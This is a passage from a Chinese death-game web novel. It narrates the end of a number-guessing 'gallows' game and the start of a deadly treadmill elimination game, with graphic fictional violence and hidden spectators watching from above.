西庄拿起桌上的保温杯喝了一口,“咱俩谁都别笑话谁,你看上的那个男孩估计也要死了,你就不心疼?”
“呸呸呸!跟谁俩呢!”北庄轻佻一笑:“我又有什么好心疼的呢……死了,说明他没本事,还好没进城里来坑我呢……你说对吧东庄弟弟……”
“哼。”东庄冷哼一声,继续观看局势。
西庄不急不缓:“还早、继续看、继续看……咳咳……”
……
“处——刑——啦——!”
屏幕公布第五轮答案:
34。
离自己猜的“33”差了1……
沈墨棠的瞳孔跳了一下,眼神往旁边的赵莹莹身上去。
赵莹莹也改了数字!
屏幕上公布本轮个人猜测数字为:
赵莹莹37,沈墨棠33,叶小霓36,夏菲33,高令33,杜泽峰36。
“……本轮一共有三个人的答案都是‘33’,都离正确答案最近……但获得‘行刑权’的是其中拥有最大号码的……沈墨棠玩家!”
“呼……”
沈墨棠暗自松了口气。
虽然因为赵莹莹的改变,自己这轮游戏并没有准确猜中答案,但仍是最接近的玩家。
“接下来有一分钟的时间……你选择要处决的号码是……?”
红蟹的声音落下,屏幕上出现60秒的“处刑”倒计时。
现场沉默了下来,所有人都看向沈墨棠,犹如一个个等待法官判决的嫌疑犯。
这是“处刑”阶段头一次出现停顿。
“那……”杜泽峰颤颤巍巍:“……我……我我,沈……老板,你现在也只剩一块板了,拿不到钱……对,对吧!犯不着杀人……对!别给这两人坐收渔翁之利了!不值当啊!孩……老板!老板我……我求求你……我上有老下有小,有个女儿跟你差不多大……马上就上大学了……要杀,你杀高令吧!他把你的木板弄掉了……你杀他……你杀他报仇啊!!”
确实,沈墨棠已经拿不到10亿美元的奖励。如果淘汰杜泽峰或者高令任何一个人,无非是拱手送给夏菲和赵莹莹奖励罢了。
“哼……呵呵……”
可沈墨棠却控制不住开始发笑!
那笑声像是魔鬼低吟,透着难以掩盖的恶意,令人胆寒。
仿佛从游戏开始至今,从未有如此恐惧的事情发生,连死亡都小巫见大巫。
“你……”杜泽峰停止卖惨,似乎是想问“你笑什么”,可话刚出口,就硬生生咽了回去。
高令紧咬牙关,生死由他人掌控的恐惧,让他一米八的身躯在高空中微微颤抖,刘海下的双目暗淡,一点光芒都没有。
谁也不想在这种时候得罪拥有“处刑权”的人!
而这位“行刑人”,她的木板是被自己决掉的!
按沈墨棠之前展露出的性格,她势必会报复他!
这一轮……沈墨棠一定会要他的命……
越往深处想,恐惧感就越是一层一层往上涌。
高令汗如雨下,不敢抬头,似乎在等待死亡的来临。
“嘀嗒……嘀嗒……嘀嗒……”
倒计时逐渐接近尾声。
沈墨棠享受着短短的30秒,如同咀嚼美味的食物。
她的笑,是难以遏制的嬉笑——她似乎越来越喜欢这种操纵生死的感觉!
不……不,这是不对的,她不能这样想。
她应该收敛一点。
她不能沉沦。
“处刑”阶段还剩15秒。
红蟹又进行了一次询问:“沈墨棠玩家,你选择要处决的号码是……?”
13秒。
11秒。
10秒……9秒……8秒……
“9号。”沈墨棠锁定夏菲。
咔嗒——
“!!!”
夏菲发出一声喉咙被强制挤压的哀鸣,好不容易在仅剩的木板上站好,被勒得不停咳嗽!
“你……咳咳……咳……你……为……”
听着她痛苦而嘶哑的声音,其他人竟然都微微松了口气,感到无比庆幸。
屏幕上跳出“选一选”和60秒倒计时,表示最后一轮游戏的开始。
59……
58……
57……
“……咳咳……为什么……”夏菲眼角憋出泪花,神色怨恨地望向这边。
“你问我为什么?“
沈墨棠带着更加吃惊的表情:“不是你最先说要大家一起活的吗?”
“你……”夏菲眼角留下生理性泪水。
她看不懂沈墨棠
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。
这个刘海厚重的女大学生究竟在想什么?
为什么?
明明有机会报仇……为什么不处决高令?
“你没事吧?还有最后一轮呢……”沈墨棠假意关心,她淡淡一笑,锐利的视线扫过在场每个人的脸。
所到之处对方无不避开视线。
现在局势很明显:大家几乎都能猜出答案,但沈墨棠有着场上最大的号码,占据绝对优势!
她,就是掌控生死的神!
除非她猜错了!
而接下来的“行刑人”又能投掉【11】!
“赵莹莹。”
掉根针都能听得清楚的空间里,沈墨棠突然开口。
她问:“你想离开这里吗?”
!!!
大家面露惊恐,纷纷看向赵莹莹。
现在唯一还有机会逃离游戏,领取奖励的人,只剩赵莹莹了。
但也意味着,如果赵莹莹选择获取奖励离开游戏,那么……在场就必须有一个人被绞死!
夏菲跟高令立刻抬起头!
他们也推断出,刚才那轮游戏中,赵莹莹也更换了号码!
这说明经过前几轮游戏,即便是迟钝如她,也已经明白大体玩法。
赵莹莹,也想赢。
一直都想。
甚至比叶小霓都想。
夏菲跟高令突然意识到:叶小霓只是想活着。但经历了五轮游戏,脚下还有两块木板的赵莹莹,目标可能已经不仅仅是活着。
赵莹莹听见沈墨棠的问话后,先是一愣,眼睑还有些轻微红肿,支支吾吾片刻,却什么话也说不出口。
反倒是沈墨棠口吻轻松:
“赵莹莹,你想拿10亿美元吗?”
“想离开这里吗?”
“别怕,只要你开口,我就帮你……同学一场,别客气!”
仿佛处决掉一个人,跟聊今晚去哪里吃饭一样随意。
赵莹莹的胸膛起伏越来越大,最终还是选择沉默。
“哦?”
“你不想?不想离开这里?”
沈墨棠笑了。
“我……”赵莹莹终于开口,声音像蚊子一样,眼神中明暗交替。
赵莹莹内心波涛汹涌。说实话,她“想赢”,但她不相信自己能这样赢。
——她知道这个游戏里,无法相信任何人,除非选择权真真切切握在自己手里!
换句话说,她并不相信沈墨棠。
事到如今,赵莹莹最好的结局是拿10亿离开,最差的结局也已经定下来,起码不会死,只是进入下一轮游戏……
她不愿在这一刻开口示弱,万一沈墨棠只是耍她,那只不过是徒增笑柄,还有可能因此得罪在场的其他五个人,万一下一次游戏还是这些人在一起,那到时,第一个死的,就是她!
“她……她不想……就算了……别逼人家嘛……”赵莹莹不说话,夏菲见缝插针劝沈墨棠:“我还是最初那个想法……我们可以谁都别死……”
“对啊对啊。”杜泽峰“呵呵”陪笑着,“我们呀,从一开始就应该相互信任,大家一起活着!下一轮,下一轮如果还在一起,大家也知根知底,可以互相帮衬一下,对吧……哈哈,各位老板,对吧!”
“嗯。”叶小霓也劝。
“那……你呢?”
沈墨棠哂笑,看向高令。
“……”高令咬牙不说话,他不想向沈墨棠低头。
“那好吧!”沈墨棠宣布:“真是太遗憾了!既然其他人都想活,那最后一轮我就投【2】号了!大家放心!”
“等下!!!”
高令来回看了左右两侧的杜泽峰和夏菲,“不!不是……你听我说、我……也想和大家一起活着!”
“但我还是想投2号呢!”
沈墨棠不屑地冷笑,不再理会高令的哀求,重新看向赵莹莹,“赵莹莹,我给你最后一次机会,由你来决定!只要你想,我等一下就投掉【2】号,然后你拿着10亿离开这里!”
沈墨棠视线没离开赵莹莹,她接着说道:
“你知道我歌单里有首什么歌吗,猜猜看吧!”
赵莹莹抬头:“歌……歌?”
沈墨棠轻声哼唱:“他不懂你的心为何哭泣,窒息到快要不能呼吸,喔喔……他不懂你的心……”
略微走调的歌声飘向建筑穹顶又回落下来,如丝般笼罩所有人,诡谲而邪魅。
大家神色各异,沉默着,望向赵莹莹。
11. 永夜2
嘀嗒、嘀嗒、嘀嗒……
“数字绞刑架”的最后一轮游戏。
“猜一猜”阶段,还剩两分钟。
诡异的歌声停止了。
沈墨棠动了动僵硬的脖子,话语轻盈却凿凿:“最后一轮游戏,结果会和上一轮一样还是‘34’,你们选什么,自己看着办吧……”
说着她随意地瞥了一眼右手边,赵莹莹正低着头,不知道在想什么。
“不,我更正一下,是‘33’才对。”
沈墨棠勾起一抹笑。
赵莹莹猛地抬头,对上沈墨棠的眼神,又连忙垂下视线。
“嘀嘀嘀……”
时间快到了,沈墨棠没有犹豫,果断输入“33”。
最后一轮游戏,五个人的号码都是固定的,最终结果究竟是“34”或者“33”,取决于赵莹莹选择的是【7】还是【8】。
上一轮中,原本自以为自己已经足够了解赵莹莹,以为她不会更改号码。
但她却将【7】改成了【8】,这才导致最终结果比预料的大了“1”。
看来自己还是托大了。
这个世界上,没有一个人是真正了解另一个人的。更何况是在这样一个极端的环境下。
此时最后一轮游戏,全场只有赵莹莹能控制结果,赵莹莹大概率会再次改变号码。
只是……
沈墨棠不会再犯同一个错误,她想要一个确定的答案。
她刚刚不断用语言试探赵莹莹,就是观察一些赵莹莹不经意的小动作。
比如,赵莹莹在听见别人自以为是猜中错误答案时,会本能地避开视线,以免暴露内心情绪——在最后输入之前,赵莹莹又一次做了这个动作!
沈墨棠抬头看向屏幕。
其实,赵莹莹大可以展示自己的欲望,相信自己,获得“离开这里并获得10亿美元”的奖励。
可在这样的环境中,她胆小又多疑,试图将最后一轮的“行刑权”掌握在手中。
在场的人都不是什么善茬。
她的小动作,又怎么能逃过其他人的眼睛呢?
倒计时进入两位数。
99……
98……
97……
除沈墨棠外,其他人都眼神飘忽,时而看向低着头的赵莹莹,时而求饶般注目沈墨棠。
好在……赵莹莹没有开口说任何话。
谁都说不准那个哼歌的女大学生究竟会做出什么事。
大家都身在困境中,可她却像猫逗弄鼠般对待场上的其他人,让人心中不觉升起一阵恶寒。
太煎熬了……
徒劳输入自己的答案,高令神色恍惚,要不是脖子被绳子吊着,他甚至想坐下缓一缓。
3……
2……
1……
所有视线投向大屏幕。
正确和数:33。
个人猜测:
赵莹莹33,沈墨棠33,叶小霓33,夏菲33,高令34,杜泽峰34。
“处——刑——啦——!”
“第六轮的猜测结果出来啦!最后一轮会不会有人被处决呢?让我们拭目以待!”
“不错不错!……本轮共有四名玩家猜中答案‘33’!不过,获得‘行刑权’的依旧是其中拥有最大号码的……沈墨棠玩家!”
“接下来有一分钟的时间……你选择要处决的号码是……?”
沈墨棠的目光绕场一周,最终落在高令身上,高令呼吸一窒。
他听见沈墨棠嘴里吐出一个冰冷的号码:
“8号。”
咔嗒——!
“呃!!!”
……
“怎么会选8号?不是要选2号吗?老西,你看人不准啊!这个新人说不定能打团队呢!”
“哦?”
“你看这不全员都活得好好的嘛?就是保活的过程让人讨厌了点。”
黑暗中,北庄意兴阑珊:“唉,又是全员存活结局,这都第几局了,人这么多有点无聊了,没意思,没意思……我说呀,主持人要不要干脆把这个游戏取消了啦?”
红蟹笑道:“每个游戏都有不同玩法,各位可以期待下一场哈哈!”
“新人三场选拔……第一轮运气,第二轮智力,第三轮……”西庄咳嗽着:“主持人,下一场,该是体力游戏了吧?”
“是的呢!”
“你不说,我都忘了这才是选拔而已!”北庄重新提起兴趣:“东庄弟弟啊……你觉得你看上的新人体力怎么样啦?”
东庄没有回答。
他心里也没底。
这个新人细胳膊细腿,加上性格使
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然,如果是合作型的体力游戏,肯定要吃亏。
西庄接话挑明:“没戏……这小妮子瘦胳膊瘦腿的,一看平时就没锻炼……估计要折在第三场喽!”
“不知道第三场游戏是什么,主持人透露一点嘛……”北庄嘻嘻笑着。
“各位庄家,不要着急,这次存活的人数确实多了点,不过我已经安排了,敬请期待!”
红蟹嬉笑回应,看向屏幕。
特殊的气体喷进教堂建筑里,六名玩家很快相继沉睡,被带往下一个游戏的场地。
“最后一关咯,过了就能进城。”北庄率先离场,只留下看似玩笑的一句话:“真希望这组新人死在下场游戏啊……”
东庄静静呆了一会,不知道在想些什么,也起身离开。
屏幕前又只剩下红蟹和西庄两人。
“咳咳。”西庄打破沉默:“永夜城啊永夜城……要是当初我没醒来该多好。”
黑暗中没有搭腔。
西庄停顿了一下,继续以感慨的口吻说着:“这么些年来,有多少人静悄悄的离开?这城里醒来的人越多,离开的也越多……唉,怎么觉着好似个鬼窟隆,怎么都填不满咯!醒来的人们守着这城的规矩,什么时候才是个头?我老西啊,也算是当好几年庄家了,熬得头发都白咯,也没指望这辈子能见到城破的日子……就是……也没什么其他念想,就想着别让西城在我手里栽了就满足咯,那么多号人……唉,个个都比我有念想着呢……”
这段话唉声叹气,弯弯绕绕,让人很难听出他究竟想说什么,“唉,规矩是重要……就是不知道,这小妮子能挨得过哪个体力游戏……?”
寻常人难以听懂,红蟹却是沉默了一会,回应道:“我觉得还是白七条厉害些。”
“呃?”西庄不知道是真的还是装的愣了一下,随即哈哈一笑:“看来下场体力游戏早就安排好了?这么说,阿东实在是……哈哈哈哈!我也该走了……”
他一边笑着,一边离开,似乎很满意。
只剩红蟹单独呆在黑暗中,一言不发。
片刻后,TA打开广播:“别着急送下个场地,记得给他们打维生吊瓶……还有,体能优秀的人多饿两天。”
末了,TA才喃喃自语:
“还剩一场……沈墨棠。”
“永夜城,永远欢迎你。”
12. 跑步了解一下1
“嗡嗡嗡嗡嗡嗡……”
奇怪的机械运转声。
沈墨棠从沉睡中醒来,缓缓睁眼。
浑身湿漉漉的,像是刚从水里捞出来一样。
周围黑暗,只有微弱的光。
场地换了。
她挣扎了一下,发现双手被吊在头顶,脚底……
脚底下则踩在一台跑步机上。
说是“跑步机”,但也只有履带部分,没有安全扶手或者操作面板一类的构造,周围被特制的金属网格严密笼罩。
像个小小的牢笼。
“滋滋、滋……滋滋……”
金属牢笼微微闪着电花。
通电了?
看这样子,电压还不小。
笼子里,除了长条形履带以外,没有其他可落脚的地方。
意识到自己被关在一个“通了高压电的小笼子”里,沈墨棠只能小幅度扭动身子,小心站稳。
身体感觉很虚弱,仿佛饿了好几天,各个关节也酸软无力。
听觉、视觉、嗅觉……随着醒来的时间,感官逐渐清晰。
听清楚了,四面八方都响着机械运转声。
“嗡嗡嗡嗡嗡……”
身后尤甚。
由于双手被吊着,沈墨棠只能勉强回头。
看到声音的来源,瞳孔不由得为止一颤——
那是一台巨大的碎木机,木料入口严丝合缝正对着履带的屁股,可怕的刀轮兀自运转,随时准备吞噬投入的任何事物!
通电的笼子仅在这里开了个缺口,似乎方便人掉出去。
“嗡嗡嗡嗡嗡……”
如果,跑步机开动……
跑不起来的人岂不是要被送进这台致命“绞肉机”里!?
这场景太像是身后盘踞着一只张嘴等待食物掉落的巨兽。
不,这比巨兽还可怕,巨兽好歹还有困顿的时候,这台恐怖的“血肉机器”只要一通上电,就可以不眠不休,一刻不停。
而前方跑步机上的,毕竟还是人——始终会疲劳。
不知道这场游戏是要怎么玩……
来自巨型机械的威胁感过大,沈墨棠心中一凛,略作挣扎。
可惜不过是徒劳一场,两条胳膊不知道被吊了多久,纹丝不动,像木头一样,早就失去感觉。
忽然“啪、啪、啪”几声巨响,好几盏巨型射灯从几十米高的头顶亮起,照亮一片圆形区域。
沈墨棠处在这片明亮区域的边缘。
放眼望去,终于明白为什么“嗡嗡嗡”的声音如此立体——
高速运转的碎木机不止身后一台……周围还有更多的跑步机、金属网格、碎木机……以及一个个和她一样,双手被吊着在跑步机上,浑身湿透刚刚醒来的人。
10个、20个、30个……
总共40台跑步机,40个人,围成一个巨大的圆圈。
仿佛射灯照亮的区域是完美的健身演出舞台!
“不会吧!不会吧!不会吧!……这又啥鬼地方!人怎么越来越多了?”
“果然还要玩游戏……主办方到底要搞什么!怎么会有这么多人?!”
“这……是……哪里……啊?我……我手动不了……”
“我不想死,不想死,不想死……我就想活着离开这里……”
“卧槽!马勒戈壁的这是要把我们搅成肉泥吗!”
“有电!大家小心哦!”
“这次怎么这么多人……是最后一关了吗?快结束了吧……”
“靠!主持人赶紧出来!快说这关怎么样才能离开这里!”
……
40个人相继醒来。
许多性格张扬的玩家已经开始嚷嚷起来。他们或许是在上一轮游戏中没有及时逃脱的玩家,或许是极为幸运的幸存者,但无一例外,在他们到达这里之前,每个人都至少经历过两场游戏。
除了这些还有精力耍嘴皮子的,剩下的更多人,选择保持沉默,观察四周,正如沈墨棠也是如此。
警惕、慎重。
目光从光圈的边缘来到场地圆心位置,场地中心立着的一个奇怪的装置——
沈墨棠仔细辨认了一下,发现那是一只手的造型。正确来说,那是一根长杆,顶部做成手的样子,那只手除了食指伸出,其余的手指全部握拳。
“这东西看上去像跑步机啊……该死,最讨厌跑步机了……”
左手边的男生小声抱怨。
沈墨棠瞥了他一眼,大致能从外观上判断这人是个所谓的“宅男”:
半长的头发乱糟糟的,身上穿着印有动漫角色的痛衣,灰色短裤,蹬着双凉鞋,身材不算肥胖,但也见不到任何肌肉,平时应该很少运动。
运动……跑步机……
难道这次“游戏”和运动有关?
沈墨棠不满地吹了一口气,刘海湿漉漉地贴在额头上,并没有像平常那样被吹起。
自己平常对运动并不热忱,尤其是跑步机。
她也不喜欢跑步机。甚至一度认为,跑步机放在古代,应该是用来惩罚罪犯的工具。
人在自然跑步的时候会有一个目标,而跑步机没有,跑着跑着,就容易失去信念,会怀疑是不是永远没有停下来的机会。
简直酷刑。
头疼。
再加上此时身体状态如此虚弱,身体虚弱又容易导致意志薄弱。
如果接下来的游戏内容真的和“运动”有关的话,那就真的让人想问候主办方了!
“哟!喂喂?……”
“啊,啊啊……喂?有声音吧?”
熟悉又讨人厌的合成音在大家头顶响起,仿佛是那些高空巨型射灯在说话:“好……都听到了!欢迎各位玩家!参与本次游戏!……经过前两轮,大家应该都习惯了吧!呀哈哈哈哈!”
——红蟹!
“没错……各位,我就是本场游戏的主持人红蟹!欢迎我自己!”
广播中发出“啪啪啪”的鼓掌声,不难想象,红蟹正在扩音器后面抓马地给自己鼓掌。
“首先呢!按照惯例,向各位介绍一下本场游戏的规则吧!”
“这个……不知道各位平时有没有跑步的习惯……反正我是不太喜欢运动的类型啦……好了,废话少说……嗯!这场游戏叫做‘跑步了解一下’,顾名思义是一个需要跑步的游戏……而且,这个游戏对各位都非常友好!特别是不喜欢动脑的朋友们!因为……”
“只要你一直跑,就能活下来!”
“AKA:跑或死。”
这话说完,广播停顿了一下。
“哒哒!”红蟹发出做作的语调:“骗你们的!当然不可能这么简单啦!我们又不是要选拔跑步运动员哈哈哈!……嗯……话说,我记得,玩家里好像真的有运动员呀……”
跑步?运动员?
规则说到这里已经很清晰了,玩家们都开始相互审视起来。
如果真的只是一场纯比拼跑步的游戏,那么体能好的人肯定更占据优势!
40名玩家中,也确实有一些外表看上去就更加健硕的人。
但正如红蟹所说,肯定还有什么别的限制……
红蟹的声音继续:“对了!请相信我们……现在绑着各位的手,是为你们的安全着想哦!”
“如各位所见,所有铁网都附带高压电!一旦触碰,将有超过三、百、毫、安的电流进入你的身体……是直接被切成肉泥……还是变成烤肉后再被切成肉泥……哈!可由各位自行选择!”
“……说到肉泥……没错!”
“各位身后的机器,能在瞬间粉碎结实的原木,相信人肉和骨头应该也不在话下……啧啧啧……那画面……啧啧啧……”
沈墨棠微微挑起眉尾。
要么被直接搅碎,要么被电死后再搅碎?
这次的死亡方式还真是残忍!
“不过各位放心,手不会一直绑着的!游戏开始时,将为各位的手臂松绑……但千万小心,别手贱去触碰铁网哦!”
“……与此同时,各位脚下的跑步机,将以最、低、档开始运转……请小心行走,别不小心摔倒喽……”
原来如此……
这套特殊的“游戏设备”,迫使玩家只能在跑步机上活动。
一旦触碰铁网,或者掉落后方,就将立刻死亡!
“注意咯!”
红蟹装模作样“咳咳”两声:“本场游戏,玩家一旦死亡,自动淘汰!”
废话!
难道还有死了的玩家还能继续游戏的?
“游戏将会一直进行到……”
“仅剩八个人存活为止。”
……!!!
八个人?
听到这里,在场玩家面面相觑。
“哈哈哈哈!”红蟹笑道:“在跑步机上坚持到最后的八个人,将获得本场游戏的胜利!”
40人淘汰到只剩8人?
80%的死亡率!
4/5的玩家将死在这里!
“喂!喂!喂!什么啊!你在搞笑吗?”
“主持人……这游戏……不公平吧!槽!这不就是……直接让我……我们去死?”
“八人?什么破几把游戏?”
“我不想死啊!他妈的!”
“唉……有那几个人在,其他人横竖是死定了呀!”
发出感叹的是沈墨棠左手边的第五个玩家。
沈墨棠循声望去,那是一名身材纤瘦的白衣女性,黑长发和黑色的宽腿裤,戴着一顶米色渔夫帽,说话神态显得很刻薄。
不像是擅长运动的样子。
白衣女右手边,是老熟人夏菲。
沈墨棠马上明白,她跟第二场游戏的幸存者又匹配在一起了。
粗略扫视一圈,果然找到了杜泽峰、叶小霓、赵莹莹、高令……上一轮游戏没能离开的存活玩家,都加入了这场“跑步了解一下”。
至于白衣女提到的“那几个人”,是位于她斜对面的一些玩家。听白衣女的语气,那些玩家可能是跟她进行了上一场游戏,所以对他们有些了解。
沈墨棠看向正前方。
从赵莹莹开始,左手边是一个穿着瑜伽裤的健身女郎——再旁边是一个肌肉结实的白毛健身男——橘色网球短裙的小个妇女——身材干练头戴
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鸭舌帽的高个大叔——穿着救援衣戴墨镜的救生员——打扮帅气的浅黄色头发偶像男——身着体育学院制服的大学生——然后是高令。
……这些人身上都有极为明显的运动特征。
这一堆玩家的身体条件摆在那里,让人不由得心生胆怯!
只比跑步的话……
谁能跑得过运动员?
健身教练?
救生员?
体院男大?
开玩笑吧!
“哈哈哈哈!别急……别急……”
红蟹一副幸灾乐祸的口吻:“我说过了,我们不是专门找跑步运动员的!游戏当然不会这么简单……大家注意到场地中央的‘手指’了吗?”
所有玩家的注意力从这几个运动达人身上挪开,移到场地中央。
那根“手指”装置竖着指向天空。从它的基座来看,应该能够放平,就像“四人轮盘”的手.枪底座一样。
“游戏开始后,手指会按顺时针方向转动,轮流指向每一个玩家。”
“被指到的玩家有十、秒、钟的时间,决定是否使用道具卡。”
道具卡?
“哦……说起道具卡……请各位玩家注意看各自面前的铁网。”
沈墨棠收回视线。
身前的铁网格上,大概和胸口平行的位置,从左到右有5块矩形的金属板,每块只有一张扑克牌大小。
这就是道具卡?
最开始还以为只是铁网格上的构造而已。
“——咔咔咔咔咔——”
所有人身前的5块金属板都同时翻转过来。
它们的背面都是触摸屏,像是五台超薄的触屏手机。
铁网格离玩家不超过五十公分,伸手就能触碰到这些小屏幕,可现在大家双手都还被吊着。
沈墨棠微微眯眼。
五个小屏幕从左到右,分别写着【加速】、【加坡】、【暂停】、【跳过】、【反向】。
这些名称以大字的形式存在屏幕的上半部分,字底带有表达字意的简笔图案……每块屏幕的下半部分,则是一串小字说明:
【加速】提升下一位未淘汰玩家一档速度。
【加坡】提升下一位未淘汰玩家一级坡度。
【暂停】令你的跑步机停止1分钟。
【跳过】“手指”将跳过下一位未淘汰玩家。
【反向】“手指”将反方向移动。
“现在你们看到啦!所有玩家的道具卡都相同,请花点时间详细阅读每张道具卡的说明哦!”
“各位玩家请注意啦——”
“每次,只能使用一张!每张,只能使用一次!”
红蟹话音一变:
“那么现在——”
“游戏开始!!!!”
所有玩家的道具卡统统“——咔咔咔咔咔——”翻转回去。
“嘀——!”
“嘀——!”
两声巨大的提示音过后,大家被吊着的手臂终于松绑,可以自由活动了!
有人大喊着:“啊等一下……我还没看完呐!”
但残忍的游戏已经开始……
所有人脚下一晃!
40台跑步机同时以最低档的速度运转起来!
“吱吱吱!啪!”
其中一个“笼子”里猛地发出电光!
只见笼子里胖男人因为跑步机开始运转的缘故,脚下不稳,条件反射伸手去扶铁网格……
只见那圆滚滚的身躯倏地绷紧!表情僵硬!双目圆瞪!随着“啪啪”的恐怖电击声,他轰然倒下,僵直的身体被跑步机的履带往后拖拽,瞬间掉入巨大的碎木机里——
“嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤嗤!”
伴随着令人毛骨悚然的机械声和惨叫声,有液体不断从碎木机溅出,染红了那台跑步机和铁网格!
“啊啊啊啊!!!!!”
胖男人身边的跑步机就是叶小霓!
过近的距离让她发出惊恐的尖叫声!
但她很快控制住身体,调整好状态,开始在跑步机上慢走起来。
“剩余39人。”
高空的广播落下冰冷的合成提示语,宛若在旷野乍起的惊雷,震慑人心。
刚开始,就死了一个!
很多人还没整理好情绪,就听见场地中央的“手指”装置“嗡”地朝这边倒下!
指向沈墨棠左手边的宅男。
“——咔——”
宅男面前的五张道具卡同时翻转,红色的灯光从高空落在他的铁网格上,打出“10”这个数字。
9……
8……
7……
十秒钟的时间,可以决定是否使用道具卡。
游戏,真的开始了。
沈墨棠一边活动着发酸的手臂,一边迈开腿,适应跑步机的速度。她强行唤醒虚弱的身体,小心控制平衡,避免触碰到周围通电的铁网格。
她微微侧头,瞥了眼旁边的宅男。
因为红光的关系,他已经成为全场焦点。
每张道具卡都只能用一次……他会在一开始就使用吗?
13. 跑步了解一下2
黑暗中,发亮的屏幕被切分成大小不一的监控画面。
屏幕左边两个最大的画面,上方是“跑步了解一下”的游戏全景,下方是当前玩家的特写——画面中是沈墨棠旁边的宅男,此刻他正认真阅读道具卡内容。
屏幕右边则是40名玩家的个人特写,密密麻麻铺满半个屏幕——其中一个头像已经黑掉了。
房间里响起短促的“咿呀”开门声。
“哎?阿东啊,今天来得这么晚?”
西庄的嗓子有些沙哑,话还没说完,就被粗暴打断。
东庄怒道:“红蟹!为什么?你给我解释一下!为什么是这个游戏!?之前几次不是证明了这游戏不合格吗!你明知道我……”
“哎哟……!”北庄笑起来:“东庄弟弟今天这是怎么了呀?发这么大脾气!话说回来,城主确实不厚道,安排这个体力游戏嘛……就这样纯跑步……这组恐怕是要废一半啦……”
“哈哈哈!咳咳……”
西庄刚才被东庄打断话语,此时也不生气,也笑着搭腔:“是咧,是咧……体力游戏……阿东啊!这对你来说也不是什么大事,反正你那边不都是这种……对吧……不过,其实吧,很多小女孩子,身体素质都好得很!不比男的差哈哈!你要相信你看上的这个新人也可以哈哈哈……”
“得了吧老西!你就直说白七条呗?”北庄冷哼:“要不是了解你,我都觉得你是打算捧杀白七条了!”
“别乱说……别乱说……”西庄装模作样,“白七条有她厉害的地方,其他人也有其他厉害的地方嘛……就是……再怎么厉害,也要先进城才行……”
“老西,我怎么觉得,你不太想让这个新人进城?莫非你担心她进城把白七条弄死了?”北庄眼珠子一动,在西庄跟东庄身上来回转。
“担心肯定是要担心的,不过现在就得看这小妮子能不能经得起考验咯!”
“万一人家真进了呢?”北庄摆出一副看热闹不嫌事大的态度。
“看看吧……咳咳……”西庄似乎严肃下来,缓缓回应:“说不定呢……”
“她会进城的。”
东庄压制怒火,粗暴地拖出一张椅子坐下,定定看着屏幕。
……
游戏开始得如此突然,很多人连规则都还没彻底搞懂,想必都会选择先观望观望。
以不变应万变。
3……
2……
1……
“咔——”
果然,灯光的倒计时结束,宅男没有动作,身前的五张道具卡翻转了回去。
场地中心的手指装置“嗒”地一声,仿佛时针跳了一个刻度,指向宅男左手边的玩家。
“要命玩意儿!”
那是一名四五十岁的大妈,此时手中正提着一双水晶高跟鞋,光着脚在跑步机上走着。
在她面前的五张道具卡被激活。
红色射灯打在她的铁网格上,再次开始十秒倒计时。
10……
9……
8……
“诶!这写的都啥玩意儿……”大妈情绪还算稳定,主要问题可能是有老花眼,阅读道具卡说明时相当吃力。
沈墨棠的视线并没跟着红灯走,她看着手指装置,耳边隐约还能听见大妈说话的声音,但大脑却正飞速运转。
游戏是从宅男开始,顺时针方向进行。
这样一来,她就能给40名玩家进行编号……
如果将宅男视为“1号玩家”,红灯下的大妈视为“2号玩家”……那么沈墨棠自己是最后的“40号玩家”。
凡是游戏,必然有先后手的优势。
那么对于这场游戏来说,应该是先行动的玩家有利,还是后行动的占优呢?
沈墨棠转头看了看左右两边——这可能取决于这场游戏究竟会持续多久吧。
2号在10秒内,同样没进行任何操作。
“咔——”
指针和红光移动。轮到3号玩家。
1号没动,2号没动,3号也没使用道具。
……
游戏刚开始,大家都还在适应,不敢轻举妄动。
跑步机的初档速度约在5公里/小时,基本符合正常走路的速度。
如果一直这样下去……
所有玩家都选择不采取行动……
那么随着游戏时间延长,体能差耐力差的玩家注定会先淘汰!
玩家们相互打量,估算自己的“跑步”实力能排到第几位。
从外形上看,对面那几个健身教练、运动员、救生员、体大学生等人无疑是最具威胁的存在。
沈墨棠观察了一圈。
如果让自己凭身体条件硬“跑进”前八,还不如直接电死她。
看着眼前道具卡的位置,沈墨棠意识到——想赢,还是要靠道具卡!
“咔——”
4号玩家,夏菲,也没有动作。
“咔——”
5号玩家,那个指出玩家中有运动员的白衣女。
“嘀嘀。”
她做出了选择!
沈墨棠抬头朝5号的方向看去,本以为她不会有任何动作,没想到她毫不犹豫按下最左边的道具卡!
“得用呀!赶紧用呀!”5号脱下头上的渔夫帽,扔进身后的碎木机中。
呲……帽子瞬间被吞噬,甚至没发出更多的声响。
“大家想清楚呀!”
她一边将自己的黑长发绑起来,一边用全场都能听见的声音说道:“各位!你们不会都觉得自己很能跑吧?!”
“这个游戏说白了,就是跑不进前八都得死!别犯傻,道具卡早用早生效!死别人总比死自己好!你们可想清楚了!”
话还没说完,红光和手指就跳到6号。
“嗡嗡嗡……”
——6号的跑步机开始加速!
“什么人啊!?”
6号狠狠瞪了5号一眼,迅速从走路切换为慢跑的状态……照那样子看,跑步机在几秒内提升了一档速度,现在差不多达到7公里/小时。
正如5号所说。
越早使用道具卡,自己的下家就越早开始消耗体力。
试想同样一小时,有人是5公里/小时走着度过,有人是7公里/小时慢跑度过……二者相差多少体力消耗不言而喻。
这就是道具卡的意义!
4……
3……
2……
“嘀嘀。”
6号也按下了最左边的道具卡!
作为全场第一个速度提升到7公里/小时的玩家,6号如果不使用道具,那么她的体力消耗会比其他人多,必然成为最先淘汰的玩家之一。
有了5号跟6号的示范,其他一些还没理解规则的人,也都明白过来……
“跑步了解一下”本质上是比谁先坚持不住的游戏!
“嗡嗡嗡……”
7号跑步机开始加速!
7号深吸一口气,朝8号吐出一句话:“干!一起死吧!”
“嘀嘀。”
他同样使用了【加速】。
开始了……
沈墨棠锁紧眉头。
——这个游戏迟早会疯狂起来!
一旦出现第一个使用道具卡的玩家,接下来的玩家必然就会跟着使用。
当被前一个玩家使用【加速】或者【加坡】道具卡,就算使用【反向】调转游戏进行的方向,也无法立即改变自己处于绝对的劣势处境……此时唯一能做的,就是将下一名玩家也拉下水!
想赢,只要想尽一切办法淘汰其他人就可以了!
就像参加一场考试。
除了提高自己的分数……如果能让其他考生的分数降级,也能获得好名次。
真是卑劣的游戏!
场上,红灯和手指都指向8号玩家。8号玩家面前的五张道具卡“咔——”地翻转过来。
“啊喂!!!大姐!”
“别乱来哦!你不要冲动啊大姐!”
她的下家是9号杜泽峰。
8号翻了个白眼,没有犹豫,按下【加速】——“嘀嘀。”
